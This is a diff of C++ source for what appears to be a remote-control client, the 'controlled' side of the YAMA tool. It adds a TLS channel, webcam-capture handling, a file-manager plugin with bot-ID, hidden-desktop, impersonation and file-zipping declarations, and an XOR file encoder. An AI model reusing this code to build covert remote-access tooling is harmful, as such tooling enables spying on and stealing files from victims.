|
NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry);
|
||||||
|
m_ctxValid = true; // 上下文已分配,之后必须 DeleteSecurityContext
|
||||||
|
if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) {
|
||||||
|
Mprintf("[TLS] InitializeSecurityContext(initial) failed: 0x%08X\n", (unsigned)sc);
|
||||||
|
CloseHandles();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
|
||||||
|
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
|
||||||
|
FreeContextBuffer(outBuf.pvBuffer);
|
||||||
|
CloseHandles();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
FreeContextBuffer(outBuf.pvBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> hs;
|
||||||
|
char raw[8192];
|
||||||
|
while (sc == SEC_I_CONTINUE_NEEDED || sc == SEC_E_INCOMPLETE_MESSAGE ||
|
||||||
|
sc == SEC_I_INCOMPLETE_CREDENTIALS)
|
||||||
|
{
|
||||||
|
int r = recv(sock, raw, sizeof(raw), 0);
|
||||||
|
if (r == SOCKET_ERROR || r == 0) {
|
||||||
|
Mprintf("[TLS] handshake recv failed/EOF\n");
|
||||||
|
CloseHandles();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||||
|
|
||||||
|
SecBuffer inBufs[2] = {
|
||||||
|
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.data() },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
};
|
||||||
|
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
|
||||||
|
|
||||||
|
outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||||
|
outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||||
|
|
||||||
|
sc = InitializeSecurityContextA(&m_cred, &m_ctx, NULL, flags, 0, SECURITY_NATIVE_DREP,
|
||||||
|
&inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry);
|
||||||
|
|
||||||
|
// 裁剪已消费的输入,仅保留 SECBUFFER_EXTRA 指向的未消费尾部
|
||||||
|
if (inBufs[1].BufferType == SECBUFFER_EXTRA) {
|
||||||
|
int extra = inBufs[1].cbBuffer;
|
||||||
|
int consumed = (int)hs.size() - extra;
|
||||||
|
hs.erase(hs.begin(), hs.begin() + consumed);
|
||||||
|
} else {
|
||||||
|
hs.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
|
||||||
|
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
|
||||||
|
FreeContextBuffer(outBuf.pvBuffer);
|
||||||
|
CloseHandles();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
FreeContextBuffer(outBuf.pvBuffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sc != SEC_E_OK) {
|
||||||
|
Mprintf("[TLS] handshake failed: 0x%08X\n", (unsigned)sc);
|
||||||
|
CloseHandles();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 握手成功后 hs 里可能残留「未消费的尾部」= 服务端 Finished 后紧跟的首条应用数据
|
||||||
|
// (TLS 记录)。若不下发,首包会被丢弃,导致随机丢包/协议错位。交给 Recv 解。
|
||||||
|
if (!hs.empty())
|
||||||
|
m_raw.insert(m_raw.end(), hs.begin(), hs.end());
|
||||||
|
|
||||||
|
if (!VerifyServerCert()) {
|
||||||
|
Mprintf("[TLS] server certificate not trusted against yama-ca.pem (fail-closed)\n");
|
||||||
|
CloseHandles();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_STREAM_SIZES, &m_sizes);
|
||||||
|
if (sc != SEC_E_OK) {
|
||||||
|
Mprintf("[TLS] QueryContextAttributes(StreamSizes) failed: 0x%08X\n", (unsigned)sc);
|
||||||
|
CloseHandles();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ready = true;
|
||||||
|
Mprintf("[TLS] handshake OK (TLS 1.2, server cert trusted)\n");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
int TlsChannel::Recv(SOCKET sock, char* out, int outLen)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||||
|
if (!m_ready || outLen <= 0) {
|
||||||
|
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
|
||||||
|
(int)m_ready, outLen);
|
||||||
|
return SOCKET_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!m_pending.empty()) {
|
||||||
|
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
|
||||||
|
memcpy(out, m_pending.data(), n);
|
||||||
|
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
|
||||||
|
char raw[16384];
|
||||||
|
for (;;) {
|
||||||
|
// 优先解密 m_raw 里已缓冲的字节(握手时随 Finished 收下的首条应用数据,或上轮
|
||||||
|
// 一次 recv 到多条记录后剩下的记录)。select() 只看底层 socket,看不到这些字节,
|
||||||
|
// 若先 recv 就会把它们卡住(随机延迟/死锁/协议错位)。
|
||||||
|
while (!m_raw.empty()) {
|
||||||
|
SecBuffer bufs[4] = {
|
||||||
|
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.data() },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
};
|
||||||
|
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||||
|
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
|
||||||
|
|
||||||
|
if (sc == SEC_E_INCOMPLETE_MESSAGE)
|
||||||
|
break; // 记录不完整,去 recv 补字节
|
||||||
|
if (sc == SEC_I_CONTEXT_EXPIRED)
|
||||||
|
return 0; // close_notify
|
||||||
|
if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
|
||||||
|
// 客户端解密失败(服务端发来的密文损坏/错位)。这里只返回 SOCKET_ERROR,
|
||||||
|
// 而 WSAGetLastError() 会残留上一次 Winsock 调用的旧值(如 6001),
|
||||||
|
// 掩盖真实原因,故把真实的 SECURITY_STATUS 记下来。
|
||||||
|
Mprintf("[TLS] client DecryptMessage failed 0x%08x (raw=%u pending=%u)\n",
|
||||||
|
(unsigned)sc, (unsigned)m_raw.size(), (unsigned)m_pending.size());
|
||||||
|
return SOCKET_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 流模式 DecryptMessage 会把输入 SECBUFFER_DATA 重组为 4 段:
|
||||||
|
// bufs[0]=STREAM_HEADER(记录头+nonce)、bufs[1]=DATA(明文)、
|
||||||
|
// bufs[2]=STREAM_TRAILER(标签)、bufs[3]=EXTRA(下一条记录)。
|
||||||
|
// 明文在 bufs[1].pvBuffer,不在 m_raw 首字节。
|
||||||
|
int decLen = bufs[1].cbBuffer;
|
||||||
|
const BYTE* plain = (const BYTE*)bufs[1].pvBuffer;
|
||||||
|
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? bufs[3].cbBuffer : 0;
|
||||||
|
int consumed = (int)m_raw.size() - extra;
|
||||||
|
m_pending.insert(m_pending.end(), plain, plain + decLen);
|
||||||
|
m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
|
||||||
|
|
||||||
|
if (!m_pending.empty()) {
|
||||||
|
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
|
||||||
|
memcpy(out, m_pending.data(), n);
|
||||||
|
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
// 无明文的记录(如 alert/CCS):继续循环解下一条
|
||||||
|
}
|
||||||
|
|
||||||
|
int r = recv(sock, raw, sizeof(raw), 0);
|
||||||
|
if (r == SOCKET_ERROR)
|
||||||
|
return SOCKET_ERROR;
|
||||||
|
if (r == 0)
|
||||||
|
return 0; // 对端关闭(此时无 pending,且 m_raw 已解完/为空)
|
||||||
|
m_raw.insert(m_raw.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||||
|
// 循环回顶部,解密刚收到的字节
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int TlsChannel::Send(SOCKET sock, const char* data, int len)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||||
|
if (!m_ready)
|
||||||
|
return SOCKET_ERROR;
|
||||||
|
if (len <= 0)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
|
||||||
|
int total = 0;
|
||||||
|
while (total < len) {
|
||||||
|
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
|
||||||
|
|
||||||
|
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
|
||||||
|
BYTE* hdr = rec.data();
|
||||||
|
BYTE* body = hdr + m_sizes.cbHeader;
|
||||||
|
BYTE* trailer = body + chunk;
|
||||||
|
memcpy(body, data + total, chunk);
|
||||||
|
|
||||||
|
SecBuffer bufs[4] = {
|
||||||
|
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
|
||||||
|
{ (ULONG)chunk, SECBUFFER_DATA, body },
|
||||||
|
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
};
|
||||||
|
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||||
|
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
|
||||||
|
if (FAILED(sc)) {
|
||||||
|
return total > 0 ? total : SOCKET_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
int wireLen = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
|
||||||
|
if (!SendAll(sock, rec.data(), wireLen)) {
|
||||||
|
return total > 0 ? total : SOCKET_ERROR;
|
||||||
|
}
|
||||||
|
total += chunk;
|
||||||
|
}
|
||||||
|
return total;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // _WIN32
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
// TlsChannel.h — Windows 客户端单向 TLS(Schannel)会话封装
|
||||||
|
//
|
||||||
|
// 用途:为 YAMA 客户端(被控端)提供「按需开启」的传输层加密。当信任锚证书存在时
|
||||||
|
// (注册表 Software\<exehash>\settings\tls_cert,或 yama-ca.pem 文件,见 TlsChannel.cpp
|
||||||
|
// 的 InitTls),所有出站 TCP 连接在应用协议首包前先完成 TLS 握手;握手失败一律断开
|
||||||
|
// (fail-closed,不回退明文)。
|
||||||
|
//
|
||||||
|
// 选型:Schannel(Windows 原生 SSPI),零第三方依赖;secur32.lib / crypt32.lib 为
|
||||||
|
// 系统库。单向 TLS:客户端只校验服务端证书链到固定的信任锚,不提供客户端证书,
|
||||||
|
// 客户端身份仍由隧道内登录(V1 PwdHmac / V2 ECDSA)承担。
|
||||||
|
//
|
||||||
|
// 线程模型:Handshake 在连接建立线程上、m_bConnected 置位前调用;Send/Recv 分别在
|
||||||
|
// 发送线程 / 接收线程上调用。上下文生命周期(Handshake/CloseHandles 释放 m_ctx)与
|
||||||
|
// Send/Recv 对 m_ctx 的使用(EncryptMessage/DecryptMessage)由 m_ctxMtx 互斥,避免
|
||||||
|
// 重连线程释放上下文时与使用线程产生 use-after-free。本对象作为 IOCPClient 的值成员
|
||||||
|
// 存在,析构时释放上下文。
|
||||||
|
//
|
||||||
|
// 注意:本文件仅在 _WIN32 下有效,非 Windows 构建(Linux/macOS/Android)不含任何内容,
|
||||||
|
// 客户端维持明文(TLS 接入按设计文档延后)。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
|
||||||
|
#include <WinSock2.h>
|
||||||
|
|
||||||
|
#ifndef SECURITY_WIN32
|
||||||
|
#define SECURITY_WIN32 1
|
||||||
|
#endif
|
||||||
|
#include <security.h>
|
||||||
|
#include <schannel.h>
|
||||||
|
|
||||||
|
#include <mutex>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全、幂等。
|
||||||
|
bool TlsEnabled();
|
||||||
|
|
||||||
|
// 信任锚已配置但加载失败(损坏/格式错误)时为 true:表示管理员已「颁发」证书,
|
||||||
|
// 客户端必须拒绝连接(fail-closed),不得静默回退明文。线程安全、幂等。
|
||||||
|
bool TlsLoadError();
|
||||||
|
|
||||||
|
class TlsChannel
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
TlsChannel() {}
|
||||||
|
~TlsChannel() { CloseHandles(); }
|
||||||
|
|
||||||
|
// 持 Schannel 句柄,禁止拷贝/赋值(避免句柄被二次释放)。
|
||||||
|
TlsChannel(const TlsChannel&) = delete;
|
||||||
|
TlsChannel& operator=(const TlsChannel&) = delete;
|
||||||
|
|
||||||
|
// 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false,
|
||||||
|
// 调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
|
||||||
|
bool Handshake(SOCKET sock);
|
||||||
|
|
||||||
|
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
|
||||||
|
int Recv(SOCKET sock, char* buf, int len);
|
||||||
|
|
||||||
|
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
|
||||||
|
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
|
||||||
|
int Send(SOCKET sock, const char* buf, int len);
|
||||||
|
|
||||||
|
// 是否有待交付的数据:已解密明文(m_pending)或已缓冲但尚未解密的 TLS 记录(m_raw)。
|
||||||
|
// 供接收线程在 select 前优先消费——select 只看底层 socket,看不到 Schannel 缓冲的
|
||||||
|
// m_raw(握手时随 Finished 收下的首条应用数据、或一次 recv 到多条记录后的剩余),
|
||||||
|
// 若这里不把 m_raw 也算作「有数据」,这些字节会被 select 卡住。
|
||||||
|
bool HasPending() const { return !m_pending.empty() || !m_raw.empty(); }
|
||||||
|
|
||||||
|
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
|
||||||
|
bool IsReady() const { return m_ready; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
void CloseHandles();
|
||||||
|
bool SendAll(SOCKET sock, const void* data, int len);
|
||||||
|
bool VerifyServerCert();
|
||||||
|
|
||||||
|
CredHandle m_cred = {};
|
||||||
|
CtxtHandle m_ctx = {};
|
||||||
|
bool m_credValid = false; // m_cred 已分配,需 FreeCredentialsHandle
|
||||||
|
bool m_ctxValid = false; // m_ctx 已分配,需 DeleteSecurityContext
|
||||||
|
bool m_ready = false; // 握手完成,Send/Recv 可用
|
||||||
|
|
||||||
|
SecPkgContext_StreamSizes m_sizes = {};
|
||||||
|
|
||||||
|
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ctx)与工作线程的
|
||||||
|
// Recv(DecryptMessage)、发送线程的 Send(EncryptMessage)互斥,避免 use-after-free。
|
||||||
|
// recursive 是因为 Handshake 内部会再调 CloseHandles。
|
||||||
|
std::recursive_mutex m_ctxMtx;
|
||||||
|
|
||||||
|
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
|
||||||
|
std::vector<BYTE> m_pending; // 已解密、未交付给应用层的明文
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // _WIN32
|
||||||
@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
|
|||||||
m_pVideoCodec = NULL;
|
m_pVideoCodec = NULL;
|
||||||
m_fccHandler = 1129730893;
|
m_fccHandler = 1129730893;
|
||||||
|
|
||||||
m_CapVideo.Open(0,0); // 开启
|
m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK; // 开启
|
||||||
lpBuffer = NULL;
|
lpBuffer = NULL;
|
||||||
|
|
||||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||||
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
|
|||||||
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||||
{
|
{
|
||||||
CVideoManager *This = (CVideoManager *)lParam;
|
CVideoManager *This = (CVideoManager *)lParam;
|
||||||
|
if (!This->m_bVideoOpened) {
|
||||||
|
This->Destroy();
|
||||||
|
return 0x20261013;
|
||||||
|
}
|
||||||
|
|
||||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||||
|
|
||||||
if (This->Initialize()) { //转到Initialize
|
if (This->Initialize()) { //转到Initialize
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ public:
|
|||||||
|
|
||||||
BOOL m_bIsWorking;
|
BOOL m_bIsWorking;
|
||||||
HANDLE m_hWorkThread;
|
HANDLE m_hWorkThread;
|
||||||
|
BOOL m_bVideoOpened;
|
||||||
|
|
||||||
void SendBitMapInfor();
|
void SendBitMapInfor();
|
||||||
BOOL SendNextScreen();
|
BOOL SendNextScreen();
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,152 @@
|
|||||||
|
#include <winsock2.h>
|
||||||
|
#include <list>
|
||||||
|
#include <string>
|
||||||
|
#include "Manager.h"
|
||||||
|
#include <sstream>
|
||||||
|
#include "zip.h"
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#include <winioctl.h>
|
||||||
|
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
|
||||||
|
#include "MasterEncoder.h"
|
||||||
|
|
||||||
|
namespace SimplePluginsFile {
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
UINT nFileSize; // 文件大小
|
||||||
|
UINT nSendSize; // 已发送大小
|
||||||
|
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwSizeHigh;
|
||||||
|
DWORD dwSizeLow;
|
||||||
|
BOOL error;
|
||||||
|
} FILESIZE;
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
TCHAR SearchFileName[MAX_PATH];
|
||||||
|
TCHAR SearchPath[MAX_PATH];
|
||||||
|
BOOL bEnabledSubfolder;
|
||||||
|
} FILESEARCH;
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
BYTE Token;
|
||||||
|
int w,h,size;
|
||||||
|
} FILEPICINFO;
|
||||||
|
|
||||||
|
|
||||||
|
struct SEARCH {
|
||||||
|
TCHAR TC_disk[8];
|
||||||
|
TCHAR TC_search[MAX_PATH];
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct _IO_STATUS_BLOCK {
|
||||||
|
union {
|
||||||
|
NTSTATUS Status;
|
||||||
|
PVOID Pointer;
|
||||||
|
};
|
||||||
|
ULONG_PTR Information;
|
||||||
|
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||||
|
|
||||||
|
typedef struct _FILE_NAME_INFORMATION {
|
||||||
|
ULONG FileNameLength;
|
||||||
|
WCHAR FileName[MAX_PATH];
|
||||||
|
} FILE_NAME_INFORMATION;
|
||||||
|
|
||||||
|
typedef LONG(__stdcall* ZwQueryInformationFile) (
|
||||||
|
IN HANDLE FileHandle,
|
||||||
|
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
OUT PVOID FileInformation,
|
||||||
|
IN ULONG FileInformationLength,
|
||||||
|
IN ULONG FileInformationClass
|
||||||
|
);
|
||||||
|
|
||||||
|
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
|
||||||
|
|
||||||
|
class CFileManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
MasterEncoder m_encoder;
|
||||||
|
DWORD dwRet;
|
||||||
|
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||||
|
UINT SendDriveList();
|
||||||
|
CFileManager(ISocketBase* pClient, int n, void* user);
|
||||||
|
virtual ~CFileManager();
|
||||||
|
private:
|
||||||
|
LPBYTE lpSendPacket;
|
||||||
|
std::list <std::string> m_UploadList;
|
||||||
|
BOOL m_bIsWow64;
|
||||||
|
UINT m_nTransferMode;
|
||||||
|
HANDLE m_hFileSend;
|
||||||
|
HANDLE m_hFileRecv;
|
||||||
|
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||||
|
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||||
|
bool benofrce;
|
||||||
|
TCHAR* copyfile;
|
||||||
|
HANDLE ImpersonateLoggedOnUserWrapper();
|
||||||
|
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||||
|
bool UploadToRemote(LPBYTE lpBuffer);
|
||||||
|
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||||
|
void StopTransfer(BOOL bIsUpload);
|
||||||
|
UINT SendFilesList(TCHAR* lpszDirectory);
|
||||||
|
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||||
|
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||||
|
void SendFileData(LPBYTE lpBuffer);
|
||||||
|
void CreateFolder(LPBYTE lpBuffer);
|
||||||
|
void Rename(LPBYTE lpBuffer);
|
||||||
|
int SendToken(BYTE bToken);
|
||||||
|
|
||||||
|
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||||
|
void SetTransferMode(LPBYTE lpBuffer);
|
||||||
|
void GetFileData();
|
||||||
|
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||||
|
void UploadNext();
|
||||||
|
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||||
|
void ExeCompress(BYTE* lpBuffer);
|
||||||
|
void SendSearchData(LPBYTE lpBuffer);
|
||||||
|
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
|
||||||
|
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
|
||||||
|
|
||||||
|
protected:
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
|
BOOL bIsStopSearch;
|
||||||
|
FILESEARCH filesearch;
|
||||||
|
|
||||||
|
void StopSearchTheard();
|
||||||
|
void SendSearchFilesList(LPCTSTR str);
|
||||||
|
static void WINAPI FindFileThread(LPVOID lparam);
|
||||||
|
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
|
||||||
|
TCHAR g_desktopName[MAX_PATH];
|
||||||
|
ULONG PseudoRand(ULONG* seed);
|
||||||
|
void GetBotId(TCHAR* botId);
|
||||||
|
HDESK g_hDesk;;
|
||||||
|
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
|
||||||
|
void SendNetHood(); //发送共享文件目录
|
||||||
|
void encfile(char* in_filename);
|
||||||
|
void decryptfile(char* in_filename);
|
||||||
|
bool FnDelPathFile(TCHAR* tc_path);
|
||||||
|
|
||||||
|
TCHAR* zippath_t;
|
||||||
|
HANDLE m_hWorkZIPThread;
|
||||||
|
BOOL bIsStopZIP;
|
||||||
|
void StopZIPTheard();
|
||||||
|
void StartZIP();
|
||||||
|
static void WINAPI FindZIPThread(LPVOID lparam);
|
||||||
|
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
|
||||||
|
|
||||||
|
//info
|
||||||
|
void SendFileInfo(TCHAR* filepath,TCHAR * type);
|
||||||
|
bool ResizePicture(TCHAR* strSource);
|
||||||
|
|
||||||
|
TCHAR* volName; // 驱动盘名称
|
||||||
|
TCHAR* tc_search; // 搜索关键词
|
||||||
|
HANDLE hVol; // 用于储存驱动盘句柄
|
||||||
|
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
|
||||||
|
long counter;
|
||||||
|
LPBYTE lpBuffer;
|
||||||
|
char* c_pathname;
|
||||||
|
};
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,162 @@
|
|||||||
|
#include "StdAfx.h"
|
||||||
|
#include "MasterEncoder.h"
|
||||||
|
#include <fstream>
|
||||||
|
#include <string>
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
namespace SimplePluginsFile {
|
||||||
|
|
||||||
|
MasterEncoder::MasterEncoder()
|
||||||
|
{
|
||||||
|
_codeKey = 100;
|
||||||
|
_sign = nullptr;
|
||||||
|
_signLen = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
MasterEncoder::~MasterEncoder()
|
||||||
|
{
|
||||||
|
SAFE_DELETE_AR(_sign);
|
||||||
|
}
|
||||||
|
|
||||||
|
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
|
||||||
|
{
|
||||||
|
if (sign && signLen) {
|
||||||
|
_signLen = signLen;
|
||||||
|
SAFE_DELETE_AR(_sign);
|
||||||
|
_sign = new char[signLen];
|
||||||
|
if (_sign) {
|
||||||
|
memcpy(_sign, sign, signLen);
|
||||||
|
} else {
|
||||||
|
Mprintf("setSignAndKey Failed!\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_codeKey = key;
|
||||||
|
}
|
||||||
|
|
||||||
|
void MasterEncoder::encode(unsigned char* data, long size)
|
||||||
|
{
|
||||||
|
for (long i = 0; i < size; i++) {
|
||||||
|
data[i] ^= _codeKey;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void MasterEncoder::decode(unsigned char* data, long size)
|
||||||
|
{
|
||||||
|
for (long i = 0; i < size; i++) {
|
||||||
|
data[i] ^= _codeKey;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
|
||||||
|
{
|
||||||
|
std::ifstream ifs;
|
||||||
|
ifs.open(filepath, std::ios::in | std::ios::binary);
|
||||||
|
|
||||||
|
if (!ifs.is_open()) {
|
||||||
|
Mprintf("文件打开失败: %s\n", filepath.c_str());
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
ifs.seekg(0, std::ios_base::end);
|
||||||
|
size =(long) ifs.tellg();
|
||||||
|
ifs.seekg(0, std::ios_base::beg);
|
||||||
|
unsigned char* data = new unsigned char[size];
|
||||||
|
long count = 0;
|
||||||
|
while (count < size) {
|
||||||
|
ifs.read((char*)&data[count], sizeof(unsigned char));
|
||||||
|
count++;
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("read PDF size = %d\n", size);
|
||||||
|
|
||||||
|
ifs.close();
|
||||||
|
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
|
||||||
|
{
|
||||||
|
std::ofstream ofs;
|
||||||
|
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
|
||||||
|
|
||||||
|
if (!ofs.is_open()) {
|
||||||
|
Mprintf("文件打开失败: %s\n", filePath.c_str());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long count = 0;
|
||||||
|
while (count < size) {
|
||||||
|
ofs.write((char*)&data[count], sizeof(unsigned char));
|
||||||
|
count++;
|
||||||
|
}
|
||||||
|
Mprintf("save PDF size = %d\n", size);
|
||||||
|
ofs.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||||
|
{
|
||||||
|
long size = 0;
|
||||||
|
unsigned char* data = readPDF(pdfPath, size);
|
||||||
|
|
||||||
|
//判断是否已经加密过
|
||||||
|
if (memcmp(data, _sign, _signLen) == 0) {
|
||||||
|
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
|
||||||
|
writePDF(savePath, data, size);
|
||||||
|
} else {
|
||||||
|
encode(data, size);
|
||||||
|
|
||||||
|
if (_signLen > 0) {
|
||||||
|
unsigned char* p = new unsigned char[size + _signLen];
|
||||||
|
memcpy(p, _sign, _signLen);
|
||||||
|
memcpy(p + _signLen, data, size);
|
||||||
|
|
||||||
|
writePDF(savePath, p, size + _signLen);
|
||||||
|
|
||||||
|
delete[] p;
|
||||||
|
} else {
|
||||||
|
writePDF(savePath, data, size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
delete[] data;
|
||||||
|
}
|
||||||
|
|
||||||
|
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||||
|
{
|
||||||
|
long size = 0;
|
||||||
|
unsigned char* data = readPDF(pdfPath, size);
|
||||||
|
|
||||||
|
if (_signLen == 0) {
|
||||||
|
decode(data, size);
|
||||||
|
writePDF(savePath, data, size);
|
||||||
|
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||||
|
unsigned char* p = (data + _signLen);
|
||||||
|
decode(p, size - _signLen);
|
